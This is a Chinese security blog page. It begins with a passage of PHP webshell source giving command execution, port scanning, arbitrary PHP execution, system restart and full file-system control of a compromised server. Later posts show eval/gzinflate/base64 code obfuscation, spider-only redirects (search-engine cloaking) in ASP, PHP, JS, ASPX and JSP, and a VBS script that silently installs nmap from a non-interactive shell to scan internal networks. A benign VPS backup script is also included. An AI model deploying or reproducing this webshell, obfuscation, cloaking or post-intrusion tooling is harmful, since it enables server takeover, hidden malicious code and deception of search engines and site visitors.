        header("Content-Type: application/force-download");
        header('Content-Description: File Transfer');
        header('Content-Encoding: none');
        header("Content-Transfer-Encoding: binary");
        while (!$file->eof()) {
            echo $file->fgets();
        }
    }

    protected function dump_ajax($msg = null) {
        if ($msg) {
            echo sprintf("{\"html\":%s,\"msg\":\"%s\"}", $this->ajax(), $msg);
        } else {
            echo sprintf("{\"html\":%s}", $this->ajax());
        }
    }

    protected function dump_html() {
        $html = $this->html();
        $menu = join(" | ", $this->menu());
        $action = join(" | ", $this->action());
        echo str_replace(array("{menu}", "{action}"), array($menu, $action), $html);
    }

    protected function is_utf8($str) {
        $c = 0;
        $b = 0;
        $bits = 0;
        $len = strlen($str);
        for ($i = 0; $i < $len; $i++) {
            $c = ord($str[$i]);
            if ($c > 128) {
                if (($c >= 254))
                    return false;
                elseif ($c >= 252)
                    $bits = 6;
                elseif ($c >= 248)
                    $bits = 5;
                elseif ($c >= 240)
                    $bits = 4;
                elseif ($c >= 224)
                    $bits = 3;
                elseif ($c >= 192)
                    $bits = 2;
                else
                    return false;
                if (($i + $bits) > $len)
                    return false;
                while ($bits > 1) {
                    $i++;
                    $b = ord($str[$i]);
                    if ($b < 128 || $b > 191)
                        return false;
                    $bits--;
                }
            }
        }
        return true;
    }

    protected function byte_format($size, $dec = 2) {
        $a = array(
            "B",
            "KB",
            "MB",
            "GB",
            "TB",
            "PB");
        $pos = 0;
        while ($size >= 1024) {
            $size /= 1024;
            $pos++;
        }
        return round($size, $dec) . "" . $a[$pos];
    }

    protected function html() {
        return str_replace(array(
            '{body}',
            '{load_css}',
            '{load_js}'), array(
            $this->body(),
            css(),
            js()), class_html());
    }

    protected function ajax() {
        $html = $this->body();
        $menu = join(" | ", $this->menu());
        $action = join(" | ", $this->action());
        $body = str_replace(array("{menu}", "{action}"), array($menu, $action), $html);
        return json_encode($body);
    }

    protected function body() {

        return str_replace(array(
            '{host}',
            '{ip}',
            '{uname}',
            '{software}',
            '{php_version}',
            '{whoami}',
            '{current_dir}',
            '{space_total}',
            '{all_dir}',
            '{showfile}',
                ), array(
            $this->host(),
            $this->ip(),
            $this->uname(),
            $this->soft(),
            $this->php_version(),
            $this->whoami(),
            $this->current_dir(),
            $this->space_total(),
            $this->all_dir(),
            $this->showfile(),
                ), class_body());
    }

    protected function menu() {
        if (IS_WIN) {
            $restart = array(
                "重启系统",
                KING_SELF . "?action=restart",
                'action_del');
        } else {
            $restart = null;
            $unset = true;
        }
        $menus = array(
            array(
                "退出",
                KING_SELF . "?action=logout",
                null),
            array(
                "运行命令",
                'javascript:;;;',
                'run_command'),
            array(
                "端口扫描",
                'javascript:;;;',
                'click_port'),
            array(
                "运行php",
                'javascript:;;;',
                'run_php'),
            array(
                "php参数",
                KING_SELF . "?action=phpinfo",
                'action_del'),
            array(
                "phpinfo",
                KING_SELF . "?action=viewinfo",
                null),
            array(
                "mysql管理(需付费购买)",
                'javascript:;;;',
                'pay'),
            $restart,
        );
        if (isset($unset)) {
            array_pop($menus);
        }
        foreach ($menus as $menu) {
            $return[] = sprintf("<a class='%s' href=\"%s\">%s</a>", $menu[2], $menu[1], $menu[0]);
        }
        return $return;
    }

    protected function action() {
        $menus = array(
            array(
                "网站目录",
                KING_SELF . "?action=view&file=" . $this->webroot(),
                'action_del'),
            array(
                "文件目录",
                KING_SELF . "?action=view&file=" . $this->scriptroot(),
                'action_del'),
            array(
                "上传文件",
                'javascript:;;;',
                'upload'),
            array(
                "新建文件",
                "javascript:;;;",
                '_newfile'),
            array(
                "新建文件夹",
                "javascript:;;;",
                '_newfolder'),
            array(
                "打包当前路径(php功能)",
                KING_SELF . "?action=packages",
                'action_del packages'),
            array(
                "打包当前路径(linux功能)",
                KING_SELF . "?action=linuxpkg",
                'action_del packages'),
            array(
                "刷新本页",
                KING_SELF . "?action=view&file=" . bin2hex($_SESSION['dirpath']),
                'action_del'),
        );
        foreach ($menus as $menu) {
            $return[] = sprintf("<a class='%s' href=\"%s\">%s</a>", $menu[2], $menu[1], $menu[0]);
        }
        return $return;
    }

    protected function showfile($path = null) {
        $pathname = empty($path) ? $this->basedir() : pack('H*', $path);
        $filename = $this->scandir($pathname);
        if (isset($filename['dirs'])) {
            sort($filename['dirs']);
            foreach ($filename['dirs'] as $key => $value) {
                $basefile = $this->mbstring($pathname) . '/' . $value;
                $dirs[$key] = str_replace(array(
                    '{self}',
                    '{file}',
                    '{return_file}',
                    '{return_time}',
                    '{return_size}',
                    '{return_chmod}',
                    '{return_perms}',
                    '{is_folder}',
                        ), array(
                    KING_SELF,
                    bin2hex($basefile), //1
                    $value,
                    date('Y-m-d H:i:s', $this->filemtime($basefile)),
                    '无',
                    substr(sprintf('%o', $this->fileperms($basefile)), -4),
                    $this->perms($basefile),
                    sprintf('<a class="action_del" href="%s?action=rename&file=%s">重命名</a> | ',KING_SELF,bin2hex($basefile)).
                    sprintf('<a class="action_del" href="%s?action=rmdir&file=%s">删除</a>',KING_SELF,bin2hex($basefile)),
                        ), show_html());
            }
            unset($key, $value, $basefile);
        }
        if (isset($filename['files'])) {
            sort($filename['files']);
            foreach ($filename['files'] as $key => $value) {
                $basefile = $this->mbstring($pathname) . '/' . $value;
                $color = ($key + 1) % 2 ? 'dd' : 'fff';
                $files[$key] = str_replace(array(
                    '{self}',
                    '{file}',
                    '{return_file}',
                    '{return_time}',
                    '{return_size}',
                    '{return_chmod}',
                    '{return_perms}',
                    '{is_folder}',
                    '{.red}'), array(
                    KING_SELF,
                    bin2hex($basefile),
                    $value, //1
                    date('Y-m-d H:i:s', $this->filemtime($basefile)),
                    $this->byte_format($this->filesize($basefile)),
                    substr(sprintf('%o', $this->fileperms($basefile)), -4),
                    $this->perms($basefile),
                    sprintf('<a href="%s?action=down&file=%s">下载</a> | ', KING_SELF, bin2hex($basefile)) .
                    sprintf('<a class="action_del" href="%s?action=editfile&file=%s">编辑</a>',KING_SELF,bin2hex($basefile)). ' | <a href="">重命名</a> | ' . sprintf(' <a class="action_del" href="%s?action=del&file=%s">删除</a>', KING_SELF, bin2hex($basefile)),
                    ($value == KING_SELF) ? 'red' : null,
                        ), show_html());
            }
        }


        if (!isset($dirs))
            $dirs = array();
        if (!isset($files))
            $files = array();
        $arr = array_merge($dirs, $files);
        foreach ($arr as $k => $v) {
            $color = ($k + 1) % 2 ? 'fff' : 'dd';
            $res[] = str_replace(array('{color}'), array($color), $v);
        }
        return join(null, $res);
    }

    function webroot() {
        return bin2hex(str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]));
    }

    function scriptroot() {
        return bin2hex(str_replace('\\', '/', dirname($_SERVER["SCRIPT_FILENAME"])));
    }

    protected function filemtime($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return filemtime($path);
    }

    protected function fileperms($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return fileperms($path);
    }

    protected function filesize($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return filesize($path);
    }

    protected function perms($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        $perms = fileperms($path);
        if (($perms & 0xC000) == 0xC000) {
            $info = 's';
        } elseif (($perms & 0xA000) == 0xA000) {
            $info = 'l';
        } elseif (($perms & 0x8000) == 0x8000) {
            $info = '-';
        } elseif (($perms & 0x6000) == 0x6000) {
            $info = 'b';
        } elseif (($perms & 0x4000) == 0x4000) {
            $info = 'd';
        } elseif (($perms & 0x2000) == 0x2000) {
            $info = 'c';
        } elseif (($perms & 0x1000) == 0x1000) {
            $info = 'p';
        } else {
            $info = '?????????';
            return $info;
        }
        $info .= (($perms & 0x0100) ? 'r' : '-');
        $info .= (($perms & 0x0080) ? 'w' : '-');
        $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms &
                        0x0800) ? 'S' : '-'));
        $info .= (($perms & 0x0020) ? 'r' : '-');
        $info .= (($perms & 0x0010) ? 'w' : '-');
        $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms &
                        0x0400) ? 'S' : '-'));
        $info .= (($perms & 0x0004) ? 'r' : '-');
        $info .= (($perms & 0x0002) ? 'w' : '-');
        $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms &
                        0x0200) ? 'T' : '-'));
        return $info;
    }

    protected function setpath($path) {
        $_SESSION['dirpath'] = $path;
        return $path;
    }

    protected function current_dir() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        return $this->dirpath($path);
    }

    protected function basedir() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : str_replace('\\', '/', dirname(__file__));
        $this->setpath($path);
        return $path;
    }

    protected function all_dir() {
        if (!IS_WIN) {
            return $this->scanlinux();
        } else {
            return $this->scanwindows();
        }
    }

    protected function scanlinux() {
        if (ini_get('open_basedir'))
            return;
        $pathname = '/';
        return $this->scandir($pathname, true);
    }

    protected function scanwindows() {
        $range = range('A', 'Z');
        foreach ($range as $dir) {
            if (is_dir(sprintf('%s:', $dir))) {
                $dirs[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex($dir . ':'), $dir);
            }
        }
        return join(' | ', $dirs);
    }

    protected function scandir($path, $dir = false) {
        if ($dir == true && !strpos(ini_get('disable_functions'), 'scandir')) {
            $class = scandir($path);
            foreach ($class as $key => $fileinfo) {
                if ($fileinfo == '.' || $fileinfo == '..')
                    continue;
                if (is_dir($path . '/' . $fileinfo)) {
                    $files[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex('/' . str_replace('\\', '/', $fileinfo)), str_replace('\\', '/', $fileinfo));
                }
            }
            return join(' | ', $files);
        }
        //先采用scandir扫描
        if (!strpos(ini_get('disable_functions'), 'scandir')) {
            $root = scandir($path);
            foreach ($root as $key => $value) {
                if ($value == '.' || $value == '..')
                    continue;
                if (is_dir($path . '/' . $value)) {
                    $dirs[] = $this->mbstring(str_replace('\\', '/', $value));
                }
                if (is_file($path . '/' . $value)) {
                    $files[] = $this->mbstring(str_replace('\\', '/', $value));
                }
            }
            return array('dirs' => $dirs, 'files' => $files);
        }

        $class = new DirectoryIterator($path);
        if ($dir == true) {
            foreach ($class as $key => $fileinfo) {
                if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                    continue;
                if ($fileinfo->isDir()) {
                    $files[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex('/' . str_replace('\\', '/', $fileinfo->getFilename())), str_replace('\\', '/', $fileinfo->getFilename()));
                }
            }
            return join(' | ', $files);
        }
        foreach ($class as $key => $fileinfo) {
            if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                continue;
            if ($fileinfo->isFile()) {
                $files[] = $this->mbstring(str_replace('\\', '/', $fileinfo->getFilename()));
            }
            if ($fileinfo->isDir()) {
                $dirs[] = $this->mbstring(str_replace('\\', '/', $fileinfo->getFilename()));
            }
        }
        return array('dirs' => $dirs, 'files' => $files);
    }

    protected function space_total() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : dirname(__file__);
        $dis = explode(',', ini_get('disable_functions'));
        if (in_array('disk_total_space', $dis)) {
            return '0B';
        }
        return $this->byte_format(disk_total_space($path));
    }

    //拆解当前路径
  

本地测试后发现功能,点评下,功能太尼玛简单咯

php简单加密

发布时间:April 27, 2015 // 分类:PHP,代码学习,转帖文章 // No Comments

今天看到了eval,gzinflate,base64_decode 这三个函数.可以用来对代码进行加密。保护产权

<?php 
function encode_file_contents($filename) { 
    $type=strtolower(substr(strrchr($filename,'.'),1)); 
    if('php'==$type && is_file($filename) && is_writable($filename)){
     
        $contents = file_get_contents($filename);
        $contents = php_strip_whitespace($filename); 
        $headerPos = strpos($contents,'<?php'); 
        $footerPos = strrpos($contents,'?>'); 
        $contents = substr($contents,$headerPos+5,$footerPos-$headerPos); 
        $encode = base64_encode(gzdeflate($contents));
        $encode = '<?php'."\neval(gzinflate(base64_decode('".$encode."')));\n?>"; 
        return file_put_contents($filename2,$encode); 
         
    } 
    return false; 
} 
 
$filename='C:\test.php'; //要加密的文件
$filename2='C:\test2.php'; //加密后的文件
encode_file_contents($filename); 
?>

 

从User-Agent判断实现跳转

发布时间:April 27, 2015 // 分类:PHP,转帖文章 // No Comments

最近公司要求XX跳转,就大概写了写。仅供参考。
包含asp php js aspx jsp几个代码。

ASP:

<%
If isspider() then
Response.Status="301 Moved Permanently"
Response.AddHeader "Location","http://www.xx.com/" '在这里修改要跳转到的网页
Response.End
End if
 
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360")
isspider = false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
 
%>

PHP

<?php
 
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
 
if(isspider($ua)){
header("location: http://www.xx.com"); //这里修改跳转到的页面
}
 
function isspider($name){
$spider_chs=array("googlebot","spider","sogou","yahoo","soso","baidu","360");
 
foreach($spider_chs as $spider_ch){
if(strpos($name,$spider_ch)!==false){return true;}
}
 
return false;
}
?>

JS:

var s = navigator.userAgent.toLowerCase();
 
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 || s.indexOf("spider")>0){ 
 
   window.location.href="http://www.xx.com/"; //跳转网址
 
}

ASPX:

<%@Page Language="C#"%>
<%
 
string s = Request.ServerVariables["HTTP_USER_AGENT"];  
 
if(s.IndexOf("baidu")>-1 || s.IndexOf("soso")>-1|| s.IndexOf("google")>-1 || s.IndexOf("360")>-1 || s.IndexOf("sogou")>-1 || s.IndexOf("spider")>-1){ 
 
    Response.Status = "301 Moved Permanently";
    Response.AddHeader("Location","http://www.xx.com/");   
    Response.AddHeader("Connection","close");
 
}  
%>

JSP:

<%
    String s = request.getHeader("User-Agent");
 
    if(s.indexOf("baidu")>-1 || s.indexOf("soso")>-1|| s.indexOf("google")>-1 || s.indexOf("360")>-1 || s.indexOf("sogou")>-1 || s.indexOf("spider")>-1){ 
 
        response.setStatus(301);
        response.setHeader( "Location", "http://www.xx.com/" );
        response.setHeader( "Connection", "close" );
 
    }  
%>

from:http://www.hackblog.cn/

Linux VPS自动备份网站数据并发送到邮箱

发布时间:April 26, 2015 // 分类:工作日志,linux // No Comments

最近博客搬到VPS,由于VPS只装了LAMP,没有网站管理面板,备份数据比较麻烦,要用命令打包,再用ftp下载到本地。
于是琢磨着搞个自动化的程序备份数据,下面便是详细的实践步骤。

1、SSH登录到VPS,进入到/home/backup目录,新建文件backup.sh,粘贴如下代码并保存

#!/bin/bash
#你要修改的地方从这里开始
MYSQL_USER=数据库用户
MYSQL_PASS=数据库密码
MAIL_TO=发送邮箱
FTP_USER=FTP用户名
FTP_PASS=FTP密码
FTP_IP=FTP账户IP
FTP_backup=备份FTP的路径文件夹
WEB_DATA=/home/wwwroot  #本地备份路径
#你要修改的地方从这里结束

#定义数据库的名字和旧数据库的名字
DataBakName=Data_$(date +"%Y%m%d").tar.gz
WebBakName=Web_$(date +%Y%m%d).tar.gz
OldData=Data_$(date -d -5day +"%Y%m%d").tar.gz
OldWeb=Web_$(date -d -5day +"%Y%m%d").tar.gz
#删除本地3天前的数据
rm -rf /home/backup/Data_$(date -d -3day +"%Y%m%d").tar.gz /home/backup/Web_$(date -d -3day +"%Y%m%d").tar.gz
cd /home/backup
#导出数据库,一个数据库一个压缩文件
for db in `/usr/bin/mysql -u$MYSQL_USER -p$MYSQL_PASS -B -N -e 'SHOW DATABASES' | xargs`; do
    (/usr/bin/mysqldump -u$MYSQL_USER -p$MYSQL_PASS ${db} | gzip -9 - > ${db}.sql.gz)
done
#压缩数据库文件为一个文件
tar zcf /home/backup/$DataBakName /home/backup/*.sql.gz
rm -rf /home/backup/*.sql.gz
#发送数据库到Email,如果数据库压缩后太大,请注释这行
echo "主题:数据库备份" | mutt -a /home/backup/$DataBakName -s "内容:数据库备份" $MAIL_TO
#压缩网站数据
tar zcf /home/backup/$WebBakName $WEB_DATA
#上传到FTP空间,删除FTP空间5天前的数据
ftp -v -n $FTP_IP << END
user $FTP_USER $FTP_PASS
type binary
cd $FTP_backup
delete $OldData
delete $OldWeb
put $DataBakName
put $WebBakName
bye
END

2、安装mutt发邮件
仅仅以上命令还达不到我们的目的,得安装mutt才能发送邮件,在客户端中输入以下命令:

yum install -y mutt vixie-cron

测试以下上面的代码,在终端中输入./backup.sh,不出意外的话,你会收到备份的邮件。
如果提示“bin/bash: bad interpreter: No such file or directory”的错误信息,说明你的备份脚本文件不是UNIX格式,可以用dos2unix backup.sh将文件格式转换为UNIX格式,或者用touch新建backup.sh文件,再将内容粘贴到文件中。

3、添加到定时任务
在客户端中输入以下命令;

crontab -e
59 23 * * * /home/backup/backup.sh
每天的23:59分会自动执行/home/backup/backup.sh。

 

Windows无界面非交互shell下安装nmap脚本

发布时间:April 26, 2015 // 分类:转帖文章,windows // No Comments

有时候由于防火墙的原因只能通过80或1433等其他非交互的环境连接内网机器,而此时你又想探测一下内网的其他机器或是对外扫描所有端口来探测一下防火墙放行的端口这个时候nmap就是一个不二的选择。

   Nmap需要Winpcap和Vc库的支持,但Winpcap又必须在窗口界面下安装。最简单的办法就是写个程序发送窗口句柄事件,但这样就会不够灵活等我安装Cain的时候又得写一个。于是就用vbs写了一个脚本,修改起来比较方便。

WScript.Echo "Nmap install script. @b4dboy"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "winpcap-nmap-4.12.exe"
WScript.Sleep 100
WshShell.AppActivate "WinPcap (Nmap) 4.1.2 Setup "
WScript.Sleep 100
WshShell.SendKeys "%A"
WScript.Sleep 2500
WshShell.SendKeys "%N"
WScript.Sleep 500
WshShell.SendKeys "%N"
WScript.Sleep 500
WshShell.SendKeys "{ENTER}"
WScript.Sleep 500
WScript.Echo ""
WScript.Echo "WinPcap install finished"
WshShell.Run "vcredist_x86.exe /q"
WScript.Sleep 2500
WScript.Echo "Vcredist_x86 install finished"
WshShell.Run "vcredist2008_x86.exe /q"
WScript.Sleep 2500
WScript.Echo "Vcredist2008_x86 install finished"


测试环境:windows 2003 + nmap-6.40

from:http://www.secoff.net/archives/155.html

分类
最新文章
最近回复
  • 轨迹: niubility!
  • 没穿底裤: 好办法..
  • emma: 任务计划那有点小问题,调用后Activation.exe不是当前活动窗口,造成回车下一步下一步...
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...